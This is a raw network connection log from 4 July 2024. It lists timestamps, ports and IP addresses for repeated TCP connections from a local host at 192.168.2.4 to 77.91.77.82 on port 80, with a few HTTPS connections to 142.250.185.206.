Jul 4, 2024 20:35:10.278176069 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:10.278332949 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:10.279236078 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:10.284384012 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:10.496658087 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:10.496817112 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:10.611396074 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:10.611694098 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:10.617012978 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:10.617103100 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:10.617186069 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:10.617244005 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:10.617292881 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:10.622051001 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:11.053390980 CEST	49827	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.053452969 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.053514957 CEST	49827	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.054078102 CEST	49827	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.054097891 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.079987049 CEST	49828	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.080037117 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.080137968 CEST	49828	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.082300901 CEST	49828	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.082319021 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.319626093 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:11.319698095 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:11.324254990 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:11.329387903 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:11.503891945 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.503947973 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.504041910 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.504360914 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.504379988 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.570945978 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:11.571039915 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:11.673602104 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:11.673985004 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:11.678893089 CEST	80	49826	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:11.678996086 CEST	49826	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:11.679301977 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:11.679379940 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:11.679498911 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:11.684360981 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:11.728172064 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.728605032 CEST	49828	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.728643894 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.729027033 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.729337931 CEST	49828	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.729392052 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.729512930 CEST	49828	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.729537010 CEST	49828	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.729542971 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.731942892 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.732165098 CEST	49827	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.732206106 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.732532978 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.732800007 CEST	49827	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.732853889 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.732896090 CEST	49827	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.732911110 CEST	49827	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.732925892 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.933173895 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.933300018 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:11.933346033 CEST	49827	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.934057951 CEST	49827	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:11.934076071 CEST	443	49827	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.005979061 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.006089926 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.006155968 CEST	49828	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.006540060 CEST	49828	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.006560087 CEST	443	49828	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.326483965 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.326891899 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.326922894 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.327249050 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.327313900 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.327876091 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.327933073 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.328139067 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.328193903 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.328310013 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.328320980 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.328335047 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.372504950 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.376580000 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.413800955 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:12.413902998 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:12.416814089 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:12.421523094 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:12.626444101 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.626545906 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.626597881 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.627579927 CEST	49829	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:35:12.627598047 CEST	443	49829	142.250.185.206	192.168.2.4
Jul 4, 2024 20:35:12.645466089 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:12.645639896 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:12.752284050 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:12.752644062 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:12.757692099 CEST	80	49830	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:12.757761002 CEST	49830	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:12.757771969 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:12.757836103 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:12.757935047 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:12.763317108 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:13.479960918 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:13.480072021 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:13.482639074 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:13.487428904 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:13.708605051 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:13.708678007 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:13.814148903 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:13.814462900 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:13.819979906 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:13.820070982 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:13.820230961 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:13.821201086 CEST	80	49831	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:13.821258068 CEST	49831	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:13.826950073 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:14.605680943 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:14.605824947 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:14.606509924 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:14.614959002 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:14.826128960 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:14.826245070 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:14.939194918 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:14.939547062 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:14.944605112 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:14.944696903 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:14.944787025 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:14.944871902 CEST	80	49832	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:14.944922924 CEST	49832	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:14.949692965 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:15.637577057 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:15.637729883 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:15.651628017 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:15.656450987 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:15.869179010 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:15.869265079 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:15.970534086 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:15.970944881 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:15.975647926 CEST	80	49833	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:15.975769043 CEST	49833	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:15.976332903 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:15.976455927 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:15.976634979 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:15.981739044 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:16.686378002 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:16.686464071 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:16.687295914 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:16.692101002 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:16.912147045 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:16.914802074 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:17.021049976 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:17.021507025 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:17.026554108 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:17.026799917 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:17.026922941 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:17.027101040 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:17.030792952 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:17.032040119 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:17.749104023 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:17.749280930 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:17.750279903 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:17.755080938 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:17.972351074 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:17.972425938 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:18.095448017 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:18.095864058 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:18.102034092 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:18.102094889 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:18.102446079 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:18.102530956 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:18.102693081 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:18.109857082 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:18.841670990 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:18.841883898 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:18.842607975 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:18.847384930 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:19.074031115 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:19.074242115 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:19.192321062 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:19.192807913 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:19.197359085 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:19.197408915 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:19.197612047 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:19.197673082 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:19.197933912 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:19.202778101 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:19.917465925 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:19.917562008 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:19.918240070 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:19.923127890 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:20.143163919 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:20.143332958 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.261241913 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.261574030 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.270270109 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:20.270334959 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.270544052 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:20.270616055 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.272216082 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.277009964 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:20.979697943 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:20.979752064 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.983206034 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.983949900 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.988598108 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:20.988647938 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.989126921 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:20.989192963 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.989357948 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:20.992644072 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:35:20.994215965 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:20.998441935 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:35:20.998486996 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:35:21.700741053 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:21.700817108 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:21.816724062 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:21.817049980 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:21.821825981 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:21.821991920 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:21.822020054 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:21.822060108 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:21.822184086 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:21.827162027 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:22.521107912 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:22.521290064 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:22.524914980 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:22.530144930 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:22.741822958 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:22.741894007 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:22.849011898 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:22.849374056 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:22.854223013 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:22.854283094 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:22.854357958 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:22.854701042 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:22.854938984 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:22.859831095 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:23.550749063 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:23.550820112 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:23.554928064 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:23.559757948 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:23.772536993 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:23.772613049 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:23.880289078 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:23.880669117 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:23.887993097 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:23.888135910 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:23.888150930 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:23.888185024 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:23.888451099 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:23.895876884 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:24.598838091 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:24.598989010 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:24.602859020 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:24.603198051 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:24.608247042 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:24.608305931 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:24.608315945 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:24.608378887 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:24.608676910 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:24.614212990 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:25.339534998 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:25.339848042 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:25.457279921 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:25.457653046 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:25.462321043 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:25.462438107 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:25.462510109 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:25.462579966 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:25.462827921 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:25.467514038 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:26.164191961 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:26.164253950 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.171792984 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.176698923 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:26.393651962 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:26.394815922 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.505279064 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.505578041 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.510554075 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:26.510607958 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.511142015 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:26.511205912 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.511437893 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.516709089 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:26.518677950 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.522342920 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.528989077 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:26.529194117 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.529422045 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:26.534885883 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:27.234791040 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:27.234846115 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:27.348347902 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:27.348699093 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:27.353522062 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:27.353591919 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:27.353605986 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:27.353655100 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:27.353878021 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:27.358653069 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:28.062350035 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:28.062642097 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.066251993 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.066570044 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.071882010 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:28.071995020 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.072135925 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.072154999 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:28.072376966 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.077501059 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:28.785530090 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:28.785612106 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.905190945 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.906683922 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.910556078 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:28.910756111 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.911526918 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:28.911600113 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.912137032 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:28.917118073 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:29.606564999 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:29.606645107 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:29.615936995 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:29.616290092 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:29.621120930 CEST	80	49850	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:29.621184111 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:29.621476889 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:29.622253895 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:29.622554064 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:29.626872063 CEST	80	49850	77.91.77.82	192.168.2.4
